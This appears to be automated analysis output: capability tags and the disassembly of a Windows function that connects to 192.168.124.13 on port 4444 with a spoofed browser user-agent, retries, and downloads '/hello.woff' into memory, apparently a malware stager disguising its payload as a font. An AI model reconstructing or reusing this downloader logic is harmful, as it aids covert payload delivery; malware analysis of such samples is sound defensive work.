Function at 0x140001070
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r12
push r13
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r15, rcx
xor edi, edi
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_105.0.0.0_Safari_537.36
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x38], rdi
lea r9, [0x140003480]
mov dword [rsp + 0x30], edi
lea rdx, str.192.168.124.13
mov dword [rsp + 0x28], 3
mov rcx, rax
mov r8d, 0x115c
mov qword [rsp + 0x20], r9
mov r12, rax
call qword [sym.imp.WININET.dll_InternetConnectW]
mov qword [rsp + 0x38], rdi
lea r8, str._hello.woff
mov dword [rsp + 0x30], edi
lea rdx, [0x1400034a0]
mov qword [rsp + 0x28], rdi
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov r13, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov rcx, rax
xor r8d, r8d
xor edx, edx
mov rbp, rax
movzx ebx, di
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x140001171
nop dword [rax]
nop word [rax + rax]
mov ecx, 0xbb8
inc bx
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp bx, 3
jae 0x140001225
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x140001140
mov qword [rsp + 0x80], rsi
mov ecx, 0x200
mov qword [rsp + 0x88], r14
call fcn.1400012c0
mov ecx, 0x200
mov rsi, rax
mov r14d, ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r9, [rsp + 0x40]
mov r8d, r14d
mov rdx, rsi
mov rcx, rbp
mov rdi, rax
xor ebx, ebx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000121c
nop dword [rax]
mov ecx, dword [rsp + 0x40]
test ecx, ecx
je 0x14000122e
lea eax, [rcx + rbx]
cmp eax, r14d
jbe 0x1400011e6
add r14d, r14d
mov rcx, rdi
mov edx, r14d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov ecx, dword [rsp + 0x40]
mov rdi, rax
xor eax, eax
test ecx, ecx
je 0x140001201
nop dword [rax]
movzx ecx, byte [rax + rsi]
inc eax
mov byte [rbx + rdi], cl
inc ebx
cmp eax, dword [rsp + 0x40]
jb 0x1400011f0
lea r9, [rsp + 0x40]
mov r8d, 0x200
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400011c0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rsi, qword [rsp + 0x80]
mov rax, r15
mov r14, qword [rsp + 0x88]
mov qword [r15], rdi
mov dword [r15 + 8], ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400012a0
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret